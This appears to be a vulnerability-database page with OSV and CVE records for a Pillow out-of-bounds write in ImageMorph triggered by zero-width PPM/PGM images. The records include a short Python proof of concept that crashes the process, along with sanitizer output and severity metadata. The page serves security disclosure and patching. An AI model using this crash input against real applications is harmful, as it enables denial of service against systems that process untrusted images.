Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    BREW-AIDER-CVE-2026-112397 (GHSA-58R4-6RV3-GFH8)

    Vulnerability from osv_homebrew – Published: 2026-10-21 09:14 – Updated: 2026-10-29 21:58 – Source website
    VLAI
    Summary
    Pillow: Out-of-bounds access in _imagingmorph on a zero-width image
    Details

    Summary

    A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size (0, N). Passing that image to ImageMorph.MorphOp.apply() makes the native morphology code index a row buffer at outrow[width - 1], which is outrow[-1] when the width is 0. The process crashes.

    Details

    The PPM parser reads width and height with no lower-bound check:

    • src/PIL/PpmImagePlugin.py:119

    The native apply() writes the row edges with no guard that the width is positive:

    • src/_imagingmorph.c:81 sets outrow[0] = outrow[width - 1] = 0;

    match() and get_on_pixels() use the same edge-indexing pattern.

    PoC

    from PIL import Image, ImageMorph
    
    # A width-0 image (also producible from a crafted PPM header). apply() indexes
    # outrow[width - 1] == outrow[-1] in native code.
    im = Image.new("L", (0, 5))
    ImageMorph.MorphOp(op_name="dilation4").apply(im)
    

    Run it:

    $ python 03_poc.py
    Segmentation fault (core dumped)
    

    Observed on a source build of commit 3e2ab96.

    Under AddressSanitizer:

    ==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
        #0 apply   src/_imagingmorph.c:81
    SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply
    

    With width 0 the outrow[width - 1] write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.

    Impact

    Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pillow",
            "resource_purl": "pkg:pypi/pillow@12.1.1",
            "upstream_fixed_in": "13.0.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "aider",
            "purl": "pkg:brew/aider"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.86.1_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pillow@12.1.1",
            "name": "pillow",
            "resource": "pillow",
            "strategy": "registry",
            "subject_version": "12.1.1"
          }
        ]
      },
      "details": "### Summary\nA PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes.\n\n### Details\nThe PPM parser reads width and height with no lower-bound check:\n\n- `src/PIL/PpmImagePlugin.py:119`\n\nThe native `apply()` writes the row edges with no guard that the width is positive:\n\n- `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`\n\n`match()` and `get_on_pixels()` use the same edge-indexing pattern.\n\n### PoC\n```python\nfrom PIL import Image, ImageMorph\n\n# A width-0 image (also producible from a crafted PPM header). apply() indexes\n# outrow[width - 1] == outrow[-1] in native code.\nim = Image.new(\"L\", (0, 5))\nImageMorph.MorphOp(op_name=\"dilation4\").apply(im)\n```\n\nRun it:\n```\n$ python 03_poc.py\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96`.\n\nUnder AddressSanitizer:\n```\n==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)\n    #0 apply   src/_imagingmorph.c:81\nSUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply\n```\nWith width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.\n\n### Impact\nOut-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.",
      "id": "BREW-aider-CVE-2026-112397",
      "modified": "2026-10-29T21:58:11Z",
      "published": "2026-10-21T09:14:41Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112397"
        },
        {
          "type": "WEB",
          "url": "https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/python-pillow/Pillow"
        },
        {
          "type": "WEB",
          "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "Pillow: Out-of-bounds access in _imagingmorph on a zero-width image",
      "upstream": [
        "GHSA-58r4-6rv3-gfh8",
        "CVE-2026-112397",
        "BIT-pillow-2026-112397",
        "PYSEC-2026-4329"
      ]
    }

    CVE-2026-112397 (GCVE-0-2026-112397)

    Vulnerability from cvelistv5 – Published: 2026-10-19 21:17 – Updated: 2026-10-19 21:38
    VLAI
    Title
    Pillow: Out-of-bounds access in _imagingmorph on a zero-width image
    Summary
    Pillow is a Python imaging library. Prior to 13.0.0, Pillow's ImageMorph.MorphOp.apply() can access memory before a row buffer for a zero-width image. PPM and PGM input can create an image with width zero, and the native morphology routine indexes outrow[width - 1] without rejecting that geometry. An attacker can supply such an image to an application that applies a morphology operation. This can crash the process. This issue is fixed in version 13.0.0.
    SSVC
    Exploitation: poc Automatable: yes Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-10-19 21:37 UTC
    CWE
    Assigner
    GitHub_M CNA
    Impacted products
    Vendor Product Version
    python-pillow Pillow Affected: < 13.0.0
    Create a notification for this product.
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-112397",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-19T21:37:56.314774Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-19T21:38:18.176Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "Pillow",
              "vendor": "python-pillow",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 13.0.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow\u0027s ImageMorph.MorphOp.apply() can access memory before a row buffer for a zero-width image. PPM and PGM input can create an image with width zero, and the native morphology routine indexes outrow[width - 1] without rejecting that geometry. An attacker can supply such an image to an application that applies a morphology operation. This can crash the process. This issue is fixed in version 13.0.0."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-787",
                  "description": "CWE-787: Out-of-bounds Write",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-19T21:17:35.684Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8"
            },
            {
              "name": "https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64"
            },
            {
              "name": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
            }
          ],
          "source": {
            "advisory": "GHSA-58r4-6rv3-gfh8",
            "discovery": "UNKNOWN"
          },
          "title": "Pillow: Out-of-bounds access in _imagingmorph on a zero-width image"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-112397",
        "datePublished": "2026-10-19T21:17:35.684Z",
        "dateReserved": "2026-10-19T16:58:51.959Z",
        "dateUpdated": "2026-10-19T21:38:18.176Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }